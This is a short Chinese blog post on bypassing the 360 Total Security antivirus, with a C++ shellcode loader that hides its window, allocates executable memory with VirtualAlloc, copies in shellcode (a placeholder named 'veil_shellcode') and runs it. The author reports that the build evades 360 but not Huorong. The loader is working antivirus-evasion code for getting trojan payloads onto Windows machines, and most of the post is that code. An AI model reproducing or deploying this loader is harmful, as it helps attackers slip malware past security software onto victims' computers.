360安全卫士免杀

最新推荐文章于 2025-02-21 15:16:37 发布

buchiyexiao.

最新推荐文章于 2025-02-21 15:16:37 发布

阅读量826

点赞数

分类专栏：免杀文章标签：安全

本文链接：https://blog.csdn.net/qq_43647462/article/details/109705209

版权

免杀专栏收录该内容

1 篇文章

订阅专栏

博客介绍了如何编写一段C++代码来创建一个免杀壳，该壳能够绕过360安全卫士的检测。通过设置多线程运行库，利用VirtualAlloc函数分配内存并注入shellcode执行，实现在Windows环境下隐藏程序行为。然而，尽管能绕过360安全卫士，但火绒安全软件仍能检测并查杀该程序。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

绕过360安全卫士（无法绕过火绒）

Buchiyexiao

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口

unsigned char shellcode[] = "veil_shellcode";

void main()
{
  LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  if (Memory == NULL) { return; }
  memcpy(Memory, shellcode, sizeof(shellcode));
  ((void(*)())Memory)();
}

使用VS2019提前将运行库设置成：多线程(/MT)，不然VirtualAlloc函数无法正常使用，将编译生成的exe和直接生成的Windows exe木马同时扔到虚拟机中发现，Windows exe被查杀，而免杀处理后的exe绕过360安全卫士（火绒则都会直接查杀删除）

在这里插入图片描述